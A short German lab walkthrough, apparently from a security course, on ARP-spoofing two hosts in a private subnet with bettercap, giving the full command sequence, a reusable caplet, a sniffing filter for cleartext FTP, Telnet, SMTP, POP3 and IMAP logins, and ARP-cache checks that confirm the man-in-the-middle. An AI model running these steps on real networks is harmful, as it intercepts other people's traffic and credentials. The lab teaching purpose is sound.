Arpspoofing mit Bettercap

Szenario

• HOST1=10.0.10.103
• HOST2=10.0.10.104

Der Angreifer schaltet sich per ARP-Spoofing zwischen HOST1 und HOST2 und leitet deren Datenverkehr ueber sich um.

Angriff auf dem Angreifer

• bettercap -iface eth0

Im bettercap-Prompt

• set arp.spoof.targets 10.0.10.103,10.0.10.104
• set arp.spoof.internal true
• set arp.spoof.fullduplex true
• set net.sniff.filter "tcp port 21 or tcp port 23 or tcp port 25 or tcp port 110 or tcp port 143"
• net.probe on
• arp.spoof on
• net.sniff on

Optionen

-iface eth0              =  Interface
arp.spoof.targets        =  beide Opfer-Hosts
arp.spoof.internal true  =  auch Host-zu-Host im LAN vergiften (nicht nur Richtung Gateway)
arp.spoof.fullduplex     =  beide Richtungen vergiften
net.sniff.filter         =  nur die Klartext-Dienste anzeigen (BPF-Filter wie bei tcpdump)
net.probe on             =  ARP-Cache vorab fuellen, damit die MACs beider Hosts bekannt sind
arp.spoof on             =  ARP-Spoofing starten
net.sniff on             =  Mitschnitt starten

Der Filter net.sniff.filter blendet allen uebrigen Verkehr (ARP, DNS, SSH ...) aus, damit die

Klartext-Logins nicht im Rauschen untergehen. Ohne ihn funktioniert der Angriff genauso, man

sieht nur mehr. Die Ports sind die auf HOST2 offenen Klartext-Dienste

21   FTP     Login + Passwort im Klartext
23   Telnet  komplette Sitzung im Klartext
25   SMTP    Mailverkehr
110  POP3    Login + Passwort im Klartext
143  IMAP    Login + Passwort im Klartext

Als Caplet (reproduzierbar)

Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben, damit man sie

nicht jedes Mal von Hand tippt.

• vim seclab-h2h.cap:

net.probe on
set arp.spoof.targets 10.0.10.103,10.0.10.104
set arp.spoof.internal true
set arp.spoof.fullduplex true
set net.sniff.filter "tcp port 21 or tcp port 23 or tcp port 25 or tcp port 110 or tcp port 143"
arp.spoof on
net.sniff on

Start

• bettercap -iface eth0 -caplet seclab-h2h.cap

Nachweis auf HOST1

Im ARP-Cache steht fuer HOST2 die MAC-Adresse des Angreifers

• arp -n | grep 10.0.10.104

10.0.10.104   ether   <MAC-der-kali-innen>   C   enp0s3

Nachweis auf HOST2

Im ARP-Cache steht fuer HOST1 dieselbe MAC-Adresse

• arp -n | grep 10.0.10.103

10.0.10.103   ether   <MAC-der-kali-innen>   C   eth0

Beide Opfer tragen fuer unterschiedliche IPs dieselbe MAC ein - das ist der Beleg fuer den laufenden MITM.

Weiterfuehrende Angriffe

• Ngrep